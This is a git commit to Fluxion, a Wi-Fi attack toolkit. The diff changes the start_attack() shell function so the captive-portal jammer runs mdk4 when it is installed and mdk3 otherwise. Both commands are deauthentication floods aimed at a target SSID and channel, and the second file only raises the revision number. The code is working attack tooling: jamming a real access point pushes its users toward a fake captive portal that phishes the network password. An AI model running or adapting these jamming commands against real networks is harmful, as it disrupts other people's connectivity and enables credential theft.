Use mdk4 if available for Captive Portal jamming

This commit is contained in:
strasharo 2019-01-28 01:18:31 +02:00
parent f116e5481c
commit de71b4b548
2 changed files with 15 additions and 4 deletions

View File

@ -1500,11 +1500,22 @@ start_attack() {
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
else
if ! [ -x "$(command -v mdk4)" ];then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
else
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
fi
fi
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"

View File

@ -22,7 +22,7 @@ readonly FLUXIONNoiseFloor=-90
readonly FLUXIONNoiseCeiling=-60
readonly FLUXIONVersion=5
readonly FLUXIONRevision=6
readonly FLUXIONRevision=7
# Declare window ration bigger = smaller windows
FLUXIONWindowRatio=4